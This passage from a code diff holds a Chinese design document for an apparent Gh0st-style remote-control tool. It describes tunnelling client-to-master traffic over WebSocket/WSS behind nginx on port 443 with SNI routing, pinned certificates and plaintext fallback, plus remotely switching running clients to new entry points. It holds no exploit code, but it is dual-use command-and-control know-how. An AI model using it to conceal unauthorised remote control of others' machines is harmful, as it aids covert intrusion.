`Recv`:在帧载荷上做流式读取(`m_remaining` 记录剩余、`m_maskPos` 记录掩码位置), + ping 自动回 pong,close 回 close 并按正常关闭返回 0,跨帧边界的应用层包不会丢。 +- `HasPending()`:帧载荷只解析了一半、或 WSS 下 TLS 会话里还压着已解密明文时返回 true, + 让接收线程在 `select` 之前优先消费(否则只能等 2 秒超时)。 +- 并发写:`Recv` 里要为 ping/close 回写控制帧,与发送线程的数据帧是两条并发的写路径。 + `WriteFrame` 用 `m_sendMtx` 串行化,并把整帧(帧头 + 掩码载荷)放进一个复用缓冲区、 + 一次 `SendAll` 写出——若头体分两次写,两帧会互相穿插,对端从此解帧错位。 + +接线(`IOCPClient.h` / `.cpp`):`ReceiveData` / `SendTo` / `HasPendingData` 三处在 +`m_useTls` 之前判 `m_useWs`;`ConnectServer` 在 socket 选项之后、`m_bConnected = TRUE` 之前 +完成 `TLS 握手 → WS 握手`,`Disconnect` 清 `m_useWs` 并 `m_ws.Reset()`。 + +- 握手超时:`connect()` 之后、TLS/WS 握手之前给 socket 设 **15 s** `SO_RCVTIMEO`/`SO_SNDTIMEO`, + 握手结束(成功路径)立刻清零。`WsChannel::Handshake` 是同步逐字节读 101 响应的;没有这道 + 保护时,对端接受 TCP 却不回数据(反代上游黑洞)会让 `StartClient` 的重连循环永久停摆。 + 服务端两个握手线程用的是同一个 15 s。 +- `m_useWs` / `m_useTls` / `WsChannel::m_ready` 均为 `std::atomic`:写的一方是连接线程, + 读的一方是接收/发送线程(`Disconnect` 也可能从接收线程侧清)。 +- 帧掩码由 `WsChannel` 私有的 xorshift64 在 `m_sendMtx` **内**生成:不能用全局 `rand()` + ——`HttpMask` 的构造函数里有 `srand(time(nullptr))`,会在同进程内重置全局序列,而收、发两个 + 线程都会写帧。 +- 不校验 `Sec-WebSocket-Accept`(设计上由 TLS + 隧道内登录承担)。明文 `PROTO_WS` 下这意味着 + 中间人可以伪造 101 接管字节流——这正是「裸 WS 只适合内网」的另一半理由。 +- 没有 `conn` 的构造路径(Linux / macOS / Android 的 `main` 都是 `new IOCPClient(exit, false)`) + 拿不到外壳注入的 `CONNECT_ADDRESS`,协议由 `IOCPClient::SetDefaultProto()` 显式给出; + 三个平台的 `main` 都在进入重连循环前调一次。不调则保持 `-1`、按明文直连——那正是 + 「配置成 WS 却毫无反应」的来源,所以这里留了一行日志便于排查。 + +### 3.1 信任模型:不换锚,靠 SNI 分流 + +客户端证书校验仍是**钉死信任锚**(Windows:`CertCreateCertificateChainEngine` + `hExclusiveRoot` +手动建链;Linux:`SSL_VERIFY_PEER` + 自定义 `X509_STORE`;均**不校主机名**)。因此 +「经 nginx 接入」不能随便换成网站自己的证书——那会校验失败。 + +于是给 nginx 一个**独立 `server_name`**(如 `ws.xxx.com`)并挂主控自己的证书,客户端靠 +**SNI** 让 nginx 选中这个 server 块: + +- Windows Schannel:`InitializeSecurityContextA(..., pszTargetName = sni, ...)`(TlsChannel.cpp) +- Linux OpenSSL:`SSL_set_tlsext_host_name(ssl, sni)`(TlsChannelLinux.cpp) +- 只在 `PROTO_WSS` 且地址是域名时传;直连主控端口时保持原样(不发明 SNI),行为与改造前一致。 + +Host 头同理:用**配置里的地址(域名)**,而不是解析后的 IP——子连接只拿到 IP,必须回到 +`CONNECT_ADDRESS::GetFirstServerIP()` 取。地址里填分号分隔的多个地址时取第一个,因此经反代 +接入只应填一个域名。 + +### 3.2 回退与 fail-closed + +传输方式只由信任锚决定(进程内缓存,服务端下发后可热重载,见 §3.3): + +| 情形 | 行为 | +|---|---| +| 有锚 + `PROTO_WSS` / 直连主控端口 | TLS 握手;**握手或证书校验失败即断开**(fail-closed) | +| **无锚 + `PROTO_WSS`** | **回退为明文 WebSocket**:客户端还没被「颁发」证书,先打通隧道;服务端下发锚后自动升级(见下) | +| 有锚但加载失败(损坏/为空) | 拒绝连接(fail-closed)——管理员已「颁发」证书,不能静默回退明文 | +| 无锚 + `PROTO_WS` | 明文(本来如此) | +| 有锚 + `PROTO_WS` | **仍是明文**(显式选择的形态,见下) | +| 平台无 TLS(macOS / Android 未定义 `YAMA_TLS_CHANNEL`)+ `PROTO_WSS` | 直接断开并打日志:没有热切换路径,回退只会让人误以为在加密 | +| WS 握手失败 | 断开,`Mprintf` 里带上服务端返回的状态行 | + +回退的判据是「本机**根本没有**信任锚」这一可观测状态,而不是握手中途失败——TLS 握手 +失败、证书链校验失败、WS 握手失败一律断开。因此中间人最多能让「尚未下发锚」的客户端 +留在明文(此时本来也没有可校验的锚),无法把已经持锚的客户端拉回明文。 + +升级路径(服务端菜单「TLS 传输 → 启用」,`COMMAND_TLS_ENABLE` + PEM 正文):客户端把锚 +落盘(Windows 注册表 `settings\tls_cert`;Linux `~/.config/ghost/yama-ca.pem`),调用 +`TlsReload()` 重建 TLS 上下文,**只在传输方式真正变化(明文 ↔ TLS)时**断开重连,之后 +的新连接自动走 WSS;仅换一张证书(仍是 TLS)不打断现有会话。两平台都是立即生效, +不再需要重启进程。撤销(`COMMAND_TLS_DISABLE`)同理反向切换。 + +> 部署含义:「先明文、之后升级为 WSS」要求同一个 `地址:端口` 既能吃明文 WS 也能吃 TLS +> ——Go 服务端的设备端口正是这样(`wrapTLS` → `wrapWebSocket` 两级嗅探,见 §4)。由 +> nginx 终止 TLS 的部署做不到:443 只收 TLS,明文回退会直接失败,这种拓扑必须先把证书 +> 配到 nginx 上再出包。(对应的两个 nginx 监听端口也无法互替,地址是出包时写死的。) + +`PROTO_WS` 的定位不变:它是**显式选择的明文形态**(§5.2 的 80 端口明文反代、内网直连), +即便客户端配了信任锚也不叠加 TLS,否则该路径永远不可达——选择 WS 是出包时的决定, +不存在远端可触发的降级。 + +### 3.3 信任锚热重载 + +`TlsEnabled()` / `TlsLoadError()` 首次调用时加载锚,之后读写的是受 `TlsReload` 保护的 +进程级状态(Windows 原来用 `std::call_once` 缓存到进程结束,无法热切换;现改为互斥量, +与 Linux 版语义一致): + +- 重建失败(锚存在但无效)→ **保持现有状态不变**,只记一行日志:一次坏下发不该打死正在 + 工作的客户端;下次启动仍会 fail-closed。 +- 重建成功 → 互换 store / 链引擎并释放旧的。Windows 的证书校验(`VerifyServerCert`) + 在整个校验过程中持同一把锁,因此旧句柄不会在别的线程手里被释放。 +- 回环验证:Linux 由 `linux/main.cpp::ApplyTlsAnchorChange`、Windows 由 + `client/KernelManager.cpp::ApplyTlsAnchorChange` 调用,两者都只在 `TlsEnabled()` + 前后值发生变化时 `Disconnect()`,让重连循环用新传输方式重新登录。 + +## 4. 服务端实现 + +### 4.1 Go 服务端(`server/go`) + +`server/go/server/ws.go`,在 `handleConnection` 里分层嗅探: + +``` +raw conn --wrapTLS(嗅 0x16 0x03)--> [TLS] --wrapWebSocket(嗅 "GET ")--> [WS 帧] +``` + +- 非 WS 连接:`bufferedConn` 原样返回,既有客户端零影响;嗅探用 `Peek`,不消耗字节。 +- WS 连接:解析请求头、校验 `Upgrade`/`Connection`/`Sec-WebSocket-Key`,`YAMA_WS_PATH` + 非空时再校验路径;通过后回 101 并返回 `wsConn`。 +- `wsConn`:`Read` 在帧载荷上流式返回,`Write` 一次一帧(`net.Buffers` writev 拼头与体), + 处理客户端掩码、控制帧(ping/pong/close),`Close` 发 close 帧并设 1 秒写超时。 +- 反代信任:仅当对端 IP 落在 `TrustedProxies`(默认回环)内才采信 `X-Forwarded-For` / + `X-Real-IP`,取到的真实 IP 用于 `Context.GetPeerIP()`、`hub.Device.PeerIP` 与 ConnAuth + 子连接的源 IP 绑定。 +- 真实 IP 取 `X-Forwarded-For` 的**最后一段**(nginx 的 `$proxy_add_x_forwarded_for` 把 + 它实际看到的地址追加在末尾,客户端自己塞在开头的段一律无视;与 `web/ws.go` 的 `clientIP` + 同一规则),没有 XFF 时才退回 `X-Real-IP`。 +- 每 IP 限流分两段:**直连对端**在 `acceptLoop` 里、起 goroutine 和任何嗅探读之前就计数 + (否则一个只建连接不发字节的对端能白占 goroutine 和缓冲直到 `ReadTimeout`);**反代后面 + 的设备**在 `handleConnection` 里按上报的真实 IP 计数(否则所有设备共用一个回环额度)。 + +环境变量: + +| 变量 | 说明 | +|---|---| +| `YAMA_WS_PATH` | 只接受该路径的 upgrade(空 = 任意路径) | +| `YAMA_TRUSTED_PROXIES` | 允许上报真实 IP 的代理地址,逗号分隔的 IP/CIDR,默认 `127.0.0.0/8,::1/128` | + +### 4.2 MFC 服务端(`server/2015Remote`) + +MFC 服务端此前就在设备端口上嗅探 TLS(首字节 `0x16 0x03` → `ServerTlsSession`), +WS 叠在同一层状态机之上,**与 TLS 是分层而不是并列**(`wss` = TLS 里的 WebSocket): + +``` +子套接字 -- TLS 嗅探 --+-- 明文 --+-- "GET " 嗅探 --+-- WS 帧 --+--> ParseReceivedData + | | | + +-- TLS ---+----------------+(WSS 时帧在解密的明文里判) +``` + +新增两个文件,其余改动都在既有握手/收发路径上: + +| 文件 | 职责 | +|---|---| +| `ServerWsSession.h/.cpp` | 每连接 WS 会话:升级握手(逐行解析、8 KiB 上限、`Sec-WebSocket-Accept`)、流式解帧(不整帧缓冲,大帧按片交付)、控制帧(ping→pong、close 回显后断开)、转发真实 IP | +| `IOCPServer.cpp` | `WsHandshakeThreadProc` / `StartWsHandshake`(专用阻塞线程,与 TLS 握手线程同一模式)、`DispatchPlain`(明文/WSS 共用入口)、`OnClientPreSending` 里的「先封帧、再 TLS 加密」 | + +- 状态机:`ServerWsState { WS_Undecided → WS_Handshaking → WS_Ready | WS_None }` 与既有的 + `ServerTlsState` 并存;`CONTEXT_OBJECT` 复用(`InitMember`)时一并复位并释放会话。 +- 判定点:**明文的第一段有 ≥6 字节**才开始分类(与 ClientHello 嗅探同一下限), + 避免把「请求头还没到齐」误判掉;阈值内的字节攒在 `wsPreClassify` 里(与 TLS 嗅探的 + `tlsPreClassify` 分开,两者服务不同状态机,串行使用但字段不共用)。 +- 升级线程与 TLS 握手线程同构:`FIONBIO=0`(该套接字常是非阻塞的,`ioctlsocket` 会以 + `WSAEINVAL` 失败),15 s 收发超时,遇 `WSAEWOULDBLOCK` 用 `select` 等可读/可写再试; + 线程持有一枚 `IoRefCount`,结束后把 socket 交还 IOCP(`PostRecv`)。升级响应之后同批 + 字节里若已带客户端首帧(WSS 分批解密时常见),先在交还前喂给解帧路径。 +- 发送方向:`OnClientPreSending` 里把本次新追加的尾部封成一帧(`TruncateBuffer` + + `WriteBuffer`,与既有的「只加密新尾部」同一手法规避在途数据),然后才走 TLS 加密; + 控制帧应答(pong / close 回显)走同一条发送路径(`SendWsReplies`,持 `SendLock`)。 +- 反代真实 IP:**仅当直接对端是回环地址**时才采信 `X-Forwarded-For` 的**最后一段** + (`X-Real-IP` 兜底),且必须是 IP 字面量;结果写回 `PeerName`,在线列表、封禁与 + 白名单看到的就是设备本身。非回环对端的转发头一律忽略(防伪造)。 +- 两段式限流(与 Go 端 `limitDirectPeer` / `handleConnection` 同构):accept 阶段按 + `getpeername` 计数——那一次对经反代的连接**没有意义**(反代同机时对端是回环地址, + `IPWhitelist` 对回环恒为 true,黑名单/封禁/计数全部不生效)。升级完成后在 + `WsHandshakeThreadProc` 里按**真实设备 IP** 重做一次黑名单 / 封禁检查与计数,超阈值 + 直接 fail-closed。直连连接(无转发头)只在 accept 阶段计一次,不重复计。 + 反代**异机**部署时转发头不被采信(见 §8),此时需把反代地址加进白名单,否则所有设备 + 共用反代 IP 那一个计数桶。 +- fail-closed 的两处:握手期间(`wsState == WS_Handshaking`)收到 IORead 直接断开(判断 + 放在 `OnClientReceiving` 最开头,WSS 下 `tlsState` 已是 `TLS_Ready`,放在 TLS 分支之后 + 就不生效);`wsState == WS_Ready` 但会话已关时,应用字节**丢弃而不是裸发**,否则对端 + 解帧错位;同时对该 socket 做一次 `shutdown(SD_BOTH)`,让挂起的 recv 立刻返回 0 字节, + 由接收路径走正常的 `-2` 收尾(不在这里直接 `RemoveStaleContext`——调用方往往本身就 + 持有 `IoRefCount`,自己等自己会超时,且可能把已回收复用的上下文交回给调用者)。 +- 既有客户端零影响:非 `GET ` 首包在攒够 6 字节后原样进入 `ParseReceivedData`。 +- 收尾一致:`dwTrans == 0`(对端 FIN)在 `TLS_Unclassified` / `TLS_Ready` / `TLS_Plain` + 三条分支上都必须 `RemoveStaleContext`。WS 改造把 `TLS_Plain` 的 `ParseReceivedData` + 换成 `DispatchPlain` 后,`DispatchPlain` 对空数据返回「已处理」,这个判断一度丢了, + 连接会停在 CLOSE_WAIT 直到 keepalive(3 分钟),期间占着 IOCP 上下文、一枚挂起的 + `WSARecv` 和限流槽。现已补回。 + +## 5. nginx 最小改动 + +前提:客户端地址填 `ws.xxx.com`、端口 **443**、协议选 **WebSocket+TLS**。 +DNS 加一条 `ws.xxx.com` → 同一台机器即可(共用 443,靠 SNI + Host 分流,**不动**现有站点块)。 + +```nginx +# 新增一个 server 块;证书用主控自己的那份(就是客户端钉的锚,与 6543 的 YAMA_TLS_CERT 同一文件) +server { + listen 443 ssl; # nginx ≥1.25.1 可另加一行 http2 on; + server_name ws.xxx.com; + + ssl_certificate /etc/nginx/certs/yama.crt; + ssl_certificate_key /etc/nginx/certs/yama.key; + + location /api/ws { + proxy_pass http://127.0.0.1:6543; # 主控设备端口 + proxy_http_version 1.1; + + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; # 让服务端拿到设备真实 IP + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + + proxy_buffering off; # 长连接必须关缓冲 + proxy_read_timeout 86400s; # 空闲心跳间隔远小于此,防止被掐 + proxy_send_timeout 86400s; + } +} +``` + +若该域名现有的 443 证书**正好就是客户端钉的那份**,可以连 server 块都不加, +只把上面 `location /api/ws { ... }` 贴进现有 443 块里。 + +### 5.1 站点与主控用两张不同证书时 + +实际部署里 `xxx.com` 的 443 证书(网站那张)和 6543 用的证书(客户端钉的锚)**是两张**。 +同一端口放两张证书没问题,nginx 按 **SNI** 选 server 块: + +| 客户端填的地址 | 客户端发的 SNI | nginx 选中 | 出示的证书 | 结果 | +|---|---|---|---|---| +| `xxx.com` | `xxx.com` | 网站块 | 网站的证书 | **握手失败**(不是钉的锚) | +| `ws.xxx.com` | `ws.xxx.com` | 主控块 | 6543 那张 | 通过 | + +所以设备端必须用**另一个名字**(`ws.xxx.com`,或任何解析到同机、nginx 里能单独成块的名字): + +- DNS:加一条 `ws.xxx.com` A 记录;若已有泛解析 `*.xxx.com` 则无需改动。 +- `ssl_certificate` 指向**与 Go 服务端 `YAMA_TLS_CERT` 完全相同的那个文件**(Go 端若配的是 + fullchain,这里也用 fullchain)。证书内容稍有不同(换过一张、少了中间证书)就会校验失败。 +- 这张证书**不需要覆盖 `ws.xxx.com`**——客户端只验链到钉死的锚,不校主机名(见 §3.1)。 +- 不要给主控块加 `default_server`,让网站块继续当默认块,其它访客行为不变。 + +自查(在服务器上执行,输出应是 6543 那张证书): + +```bash +openssl s_client -connect 127.0.0.1:443 -servername ws.xxx.com /dev/null \ + | openssl x509 -noout -subject -fingerprint -sha256 +``` + +若看到的是网站的证书,说明 SNI 没落到主控块(名字拼错、块没 reload、或客户端地址填的是 `xxx.com`)。 + +### 5.2 拿不到 `ws.xxx.com` 这种名字时:地址填 IP,用 443 的默认块 + +结论:**DNS 不是必需的**。SNI 只是 ClientHello 里的一个字符串,nginx 拿它跟 `server_name` +比,不做解析;真正需要 DNS 的只有客户端解析地址这一步。所以换一条路走: + +**客户端地址填 IP**(`1.2.3.4`,就是 `xxx.com` 解析出的那个),协议 `WebSocket+TLS`,端口 443。 +地址是 IP 字面量时,客户端按 RFC 6066 **不发 SNI**(见 §3.1 的条件),nginx 于是落到 443 的 +`default_server` 块——把主控块设成默认块即可。 + +```nginx +# 主控块:无 SNI(或 SNI 不匹配)时命中,出示客户端钉的那张证书 +server { + listen 443 ssl default_server; + server_name _; # 兜底块,不占任何真实域名 + + ssl_certificate /root/cert/yama.crt; # 与 6543 的 YAMA_TLS_CERT 同一文件 + ssl_certificate_key /root/cert/yama.key; + + location /api/ws { + proxy_pass http://127.0.0.1:6543; + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_buffering off; + proxy_read_timeout 86400s; + proxy_send_timeout 86400s; + } +} +``` + +现有网站块**一个字都不用改**:浏览器访问 `https://xxx.com` 时会发 SNI `xxx.com`, +按名字命中网站块,照旧拿网站的证书。 + +四个注意点: + +- **同一 `地址:端口` 只能有一个 `default_server`**。若网站块原本写了 + `listen 443 ssl default_server;`,把那里的 `default_server` 去掉(`nginx -t` 会直接报 + duplicate default server)。 +- 若默认块上设了 `ssl_reject_handshake on;`(有的加固模板会这么写),把它删掉,否则无 SNI 的连接被直接拒。 +- IPv6 的默认块是独立的:若还有 `listen [::]:443`,默认块要么同样加 `[::]:443 default_server`, + 要么保持 IPv4 即可(本客户端只连 AF_INET)。 +- 代价是地址里写死 IP:换机器/换 IP 要重出客户端。站点域名不变、只是 `xxx.com` 的 A 记录 + 换 IP 时,旧客户端会连到旧机器。 + +> 还有两条退路,代价更大,一般不用: +> - 走 **80 端口明文**:把 `location /api/ws` 贴进现有 80 块,客户端选 `PROTO_WS`。没有证书问题, +> 但整条隧道是明文(只剩既有 XOR/Shine 混淆)。 +> - 给客户端加一个「SNI/Host 单独覆盖」的配置项,让地址仍是域名、SNI 用一个不存在的名字。 +> 需要改代码和重新出客户端,只有在必须保留域名地址时才值得做。 + +要点: + +- `proxy_http_version 1.1` + 两条 `Upgrade` 头缺一不可,否则 nginx 会把升级请求当普通请求代理。 +- 关 `proxy_buffering`,否则 nginx 攒包,画面与控制会明显延迟。 +- `X-Real-IP` / `X-Forwarded-For` 只有在服务端的 `YAMA_TRUSTED_PROXIES` 覆盖 `127.0.0.1` + 时才被采信(默认已覆盖)。 + +## 6. 部署清单 + +1. 服务端:**无需改动**即可接受 WS 升级(两套实现都是同端口嗅探)。Go 版可选加环境变量 + `YAMA_WS_PATH=/api/ws`(不设 = 任意路径)、`YAMA_TRUSTED_PROXIES`(默认够用);MFC 版 + 不校验路径,转发头只信回环对端(§4.2)。 +2. nginx:按 §5 加 server 块或 location,`nginx -t && nginx -s reload`。 +3. DNS:`ws.xxx.com` 指向该机器。 +4. 生成客户端:协议选 `WebSocket+TLS`,地址填 `ws.xxx.com`,端口 443。 +5. 日志确认: + - Go 服务端 `WebSocket transport on device port enabled: path=/api/ws`、 + `WebSocket device from <真实 IP>`;MFC 服务端 `[WS] ... upgraded via reverse proxy, + real client <真实 IP>`(仅回环对端且带转发头时才有这一行); + - 客户端 `[WS] WebSocket 已就绪: ws.xxx.com:443/api/ws (TLS)`。 + +## 7. 验证方法(本次已做) + +- `server/go`:`go test ./...` 全绿,`ws_test.go` 覆盖升级、隧道、ping/pong、1 MiB 大帧、 + 坏握手拒绝、转发 IP(含「XFF 末尾优先 / 开头伪造被无视」)、信任代理解析,以及 + 「无换行的超长请求行在 8 KiB 上限处被拒」;`server_test.go` 覆盖直连对端在嗅探前即计入 + 每 IP 上限、回环反代被豁免。 +- 客户端:`client/WsChannel.h` 用一份**独立的 Python 最小 WS 服务端**(std lib 实现,非同一套 + 代码)交叉验证:1/5/125/126/130/4096/70000 字节全部往返一致、`Host: localhost:18080` + 正确、客户端帧带掩码、服务端主动 ping 被回 pong。 +- 并发写:另一份 Python 校验端一边每 5 帧发一次 ping、一边逐帧校验 3000×300 字节的载荷, + 客户端同时从发送线程写数据帧、从接收线程回 pong。修复前在 ~40 帧处即出现解帧错位 + (`BAD_PAYLOAD`/发送失败),修复后 3000 帧全部逐字节正确。 +- 互操作:把该测试客户端直接指向真实 Go 服务端(`-port 16543`,`YAMA_WS_PATH=/api/ws`), + 服务端日志出现 `WebSocket device from 127.0.0.1`,握手通过。 +- MFC 服务端(Debug x64,设备端口 6543,同时开着 TLS): + - 独立 Python 最小客户端对 6543 跑 9 项断言全通过:101 状态行、`Sec-WebSocket-Accept` + 与 `base64(sha1(key+GUID))` 一致、`Upgrade`/`Connection` 回显、ping→pong(服务端帧不带 + 掩码)、数据帧后连接保持、close 回显、**升级请求跨两个 TCP 段**仍升级成功、**帧与升级 + 请求粘在同一段**里也能解出;同一套断言加 `ssl` 包一层(TLSv1.2 ECDHE-RSA-AES256-GCM) + 再跑一遍全通过,即 WSS。 + - 转发头:`X-Forwarded-For: 198.51.100.7, 203.0.113.9` 时日志记 + `[WS] 127.0.0.1 upgraded via reverse proxy, real client 203.0.113.9`(取最后一段)。 + - 端到端:让 Debug 服务端向真实客户端下发它自己的 payload(其中配置为 `PROTO_WS`), + 客户端日志 `[WS] WebSocket 已就绪: 127.0.0.1:6543/api/ws` → 登录 → 收到主控配置 + (1000 字节)→ 上线列表出现该设备并长时间保活(心跳往返即双向数据帧都在工作)。 + +- 信任锚热重载(Windows):独立 harness(`tlsreload_test.cpp` + 真实 `TlsChannel.cpp`,锚 + 走 exe 同目录 `yama-ca.pem`)覆盖 6 个场景全部通过:无锚→明文、有效锚→TLS、坏锚首次 + 加载→fail-closed、无锚→下发锚后重载生效(明文→TLS)、坏锚重载→保持 TLS 不中断、撤销 + 锚→回到明文。Linux 侧的热重载此前已随 `TlsTrustAnchorSave/Remove` 实现。 +- 构建:`ghost` x64/x86 Debug、`ServerDll.dll`、MFC 服务端 Debug x64、Linux + `IOCPClient.cpp` / `TlsChannelLinux.cpp` 语法检查均通过。 + +## 8. 限制与非目标 + +- **MFC 服务端与 Go 服务端都已实现设备端口的 WS 嗅探**,生成界面里的协议选项两边通用; + 差别只在细节:MFC 侧不校验 upgrade 路径(`/api/ws` 只是客户端习惯,反代转到哪个路径都行)。 + 每 IP 限流两边都是**两段式**(直连对端 / 反代后的真实设备),见 §4.1 与 §4.2。 +- MFC 侧的转发头信任范围是**回环对端**(与 Go 的默认 `TrustedProxies` 一致);反代与服务端 + 不同机部署时,要么让反代用 Proxy Protocol v2(既有的 `ParseProxyProtocolV2` 会先改 + `PeerName`),要么把反代地址加进白名单——WS 层不采信非回环对端的转发头。此时限流按 + 「反代 IP」那一个桶算,**务必把反代地址加进白名单**,否则阈值一响就是全体设备一起被封。 +- 试用模式的 WAN 入站检测(`m_bTrialMode && !IsPrivateIPv4Str(clientIP)`)在 accept 时判定, + 经反代接入时 `clientIP` 是反代地址(回环或内网),该合规检查会被绕过;转发真实 IP 要到 + 升级线程里才有。若这是硬性合规要求,需单独评估(本特性未改变这一点,只是让它的漏检更 + 容易发生)。 +- 裸 `PROTO_WS` 是明文,只适合内网或回环(nginx 已在同一台机器上终止 TLS 的情形用 WSS 即可)。 +- macOS / Android 客户端没有 TLS 实现,只能选 `PROTO_WS`(明文),走不了 443。 +- 经反代接入时地址只应填**一个域名**(多地址取第一个做 Host/SNI)。 +- 不改应用协议、不改 MCP、不改 Web 控制台。 + +## 9. 远程协议切换(在线列表右键 → 协议切换) + +动机:客户端在线升级只换 DLL,外壳每次注入的连接配置仍是编译时的 TCP 直连入口,所以 +「已经在跑」的机器没法被搬到反代入口上。协议切换就是补这一环:由主控下发一次命令,客户端 +把新入口落盘并重连,此后(含再次在线升级)都按落盘的入口连。 + +- 菜单:与「实验功能」平级、紧跟在它下面,三个单选项 `直连 TCP / WS / WSS`。单选状态取 + 选中主机连接的真实传输(`context::GetProtocol()`:`TCP`/`WS`/`WSS`),不取客户端自报。 + 选中主机的客户端没有能力位 `CLIENT_CAP_PROTO_SWITCH(0x0020)` 时整组置灰(只有 Windows + 客户端实现了该命令)。 +- 命令:`COMMAND_SET_PROTO = 177`,载荷 `ProtoSwitchPacket`(113 字节:`proto` + 反代 + `host[100]` + `port[8]` + `certLen`),WS/WSS 后面再跟反代信任锚 PEM 正文;`host`/`port` + 全空表示「还原到安装时的直连入口」。 +- 服务端:WS/WSS 先弹输入框问反代入口(`域名:端口`,记住上次填的 `[ws] Entry`);WSS 额外 + 要求 `ServerTlsIdentity::IsReady()` 并读取 `[tls] CertPath` 的 PEM 一并下发——没有锚的 + 客户端会把 WSS 降级成明文 WS,等于静默降级,所以直接拒绝。 +- 客户端落盘(`settings` 下):`proto_override` / `entry_host` / `entry_port` / + `entry_try_at` 为当前覆盖;`base_*` 是首次切换时记下的安装入口(「还原」用它);`prev_*` + 是每次切换前的入口(自动回退用它)。重连循环在建连前 `ApplyProtoSwitch` 覆盖入口——位置 + 在「外壳注入完配置之后、建连之前」,因此换 DLL 也压不回去。(该函数返回 `void`:它既写 + 配置也改 `CONNECT_ADDRESS`,返回值无法表达「部分完成」,早期版本里的 `return false` + 只是提前退出,调用方一直忽略它。) +- 撤销自动回退的判据是**登录被接受**,不是「连接建立」。客户端在收到 + `CMD_MASTERSETTING` 时把当前连接标记为已登录(服务端只有在把本机加入在线列表之后才下发 + 它),重连循环每轮心跳都检查一次,命中才 `ConfirmProtoSwitch` 把 `entry_try_at` 清零。 + 只看 `IsConnected()` 是不够的:那只是 TCP/TLS/WS 握手完成,新入口能建连但登录始终不被 + 接受(选错后端 / 反代指到别的 WS 服务 / 服务端登录阶段丢弃)时,提前撤销会让自动回退 + 永久失效,客户端卡在错误入口反复重连。 +- 随包下发的信任锚先落盘再 `TlsReload`;**加载失败即放弃本次切换**——回滚 `tls_cert`、 + 不写 `proto_override`/`entry_*`、不断连,并把失败原因用 `ClientMsg` 回报操作端。否则客户端 + 会进入 `TlsLoadError()` 的 fail-closed 状态,切过去只是「新入口连不上,等 5 分钟回退」。 +- 自动回退:新入口 5 分钟内一直登不上,回到 `prev_*` 并把它改写成新的覆盖(不是清空,否则 + 下一轮会落进「还原」分支又跳回直连入口)。分享实例(`m_bShared`)忽略该命令——它的入口 + 由分享方控制。 +- `ProtoSwitchPacket::certLen` 不做字节序转换:当前服务端与 Windows 客户端同为小端,无影响; + 将来若出现大端平台的客户端,需要补一次 `ntohl`/`htonl`。 + +## 10. 审查遗留(已知边界,未改动) + +以下条目来自 PR 审查,记录在此以免重复讨论。带「已处理」的是复查后**已经改掉**的, +留在这里说明当时的判断,其余评估后保留现状: + +- **`GetPeerName(SOCKET)` 只走 `sockaddr_in`(IPv4)**:`ServerWsSession.cpp::IsLoopbackPeer` + 里的 `::1` / `::ffff:127.0.0.1` 分支目前是死代码。将来若监听 IPv6,转发头信任也需要跟着 + 改,否则会静默失效。 +- **`tlsPreClassify` 名不副实**:已处理——WS 的 "GET " 前缀缓冲拆成独立的 `wsPreClassify`, + `tlsPreClassify` 回归 ClientHello 嗅探单一职责(两条路径仍按先后串行,互不重叠)。 +- **`WsChannel::Reset()` 与接收线程的帧状态**:已处理——`Disconnect()` 可能来自心跳/命令线程, + 不只是接收线程,所以 `Reset()` 现在只翻转原子的 `m_ready`;`m_remaining` / `m_masked` / + `m_maskPos` 改由 `ResetFrames()` 清,且只在 `Handshake()` 里(连接线程、接收线程尚未起来) + 调用。这样这几个字段始终只有一个线程访问,不用加锁。 +- **客户端单帧载荷上限 256 MB**(`WsChannel::kMaxFramePayload`,与 `ServerWsSession` 同值): + 超过即按错误断开。没有上限时一个错误长度字段就能把 `m_remaining` 定在天文数字上, + 连接「活着但永远收不到新包」。正常业务的最大单包远小于此值。 +- **`DispatchPlain` 对明文首包引入「攒够 6 字节再解析」**:这是既有路径的行为变更。当前首包 + 是登录包(远大于 6 字节),实际无影响;极端情况下(<6 字节的合法首包)会多等一轮收包。 +- **客户端不校验 `Sec-WebSocket-Accept`**:见 §3;明文 WS 下中间人可伪造 101,已在 §8 明确 + 裸 WS 只适合内网。 +- **Go `wrapWebSocket` 的 `Peek`**:已改为即使 `ReadTimeout == 0` 也用 `wsHandshakeTimeout` + (10 s,取与 `ReadTimeout` 的较小值)封顶,慢速对端不再能长期占住 goroutine 与限流槽。 diff --git a/linux/main.cpp b/linux/main.cpp index dc82e3d..5cb8d26 100644 --- a/linux/main.cpp +++ b/linux/main.cpp @@ -1379,6 +1379,13 @@ int main(int argc, char* argv[]) std::unique_ptr ClientObject(new IOCPClient(g_bExit, false)); ClientObject->setManagerCallBack(NULL, DataProcess, NULL); + // 不传 conn 的构造路径拿不到注入的 CONNECT_ADDRESS,协议只能显式喂进去:否则哪怕 + // g_SETTINGS.protoType 配成 WS/WSS,也会静默按明文 TCP 直连(日志里一个字都没有)。 + ClientObject->SetDefaultProto((int)(unsigned char)g_SETTINGS.protoType); + if (g_SETTINGS.protoType == PROTO_WS || g_SETTINGS.protoType == PROTO_WSS) { + Mprintf("[WS] 按配置的传输协议连接: proto=%d(WSS 需要 TLS 支持,不支持的平台会 fail-closed)\n", + (int)(unsigned char)g_SETTINGS.protoType); + } g_pMainClient = ClientObject.get(); // 自升级失败回报用 while (!g_bExit) { clock_t c = clock(); diff --git a/macos/main.mm b/macos/main.mm index 7311816..520c17a 100644 --- a/macos/main.mm +++ b/macos/main.mm @@ -942,6 +942,13 @@ int main(int argc, const char* argv[]) // Create client auto ClientObject = std::make_unique(g_bExit, false); ClientObject->setManagerCallBack(NULL, DataProcess, NULL); + // 同 Linux:不传 conn 就取不到注入的 CONNECT_ADDRESS,协议必须显式喂进去, + // 否则配成 WS/WSS 也只会静默按明文 TCP 直连。 + ClientObject->SetDefaultProto((int)(unsigned char)g_SETTINGS.protoType); + if (g_SETTINGS.protoType == PROTO_WS || g_SETTINGS.protoType == PROTO_WSS) { + Mprintf("[WS] 按配置的传输协议连接: proto=%d(WSS 需要 TLS 支持,不支持的平台会 fail-closed)\n", + (int)(unsigned char)g_SETTINGS.protoType); + } // Main event loop NSLog(@"Starting main loop..."); diff --git a/server/2015Remote/2015RemoteDlg.cpp 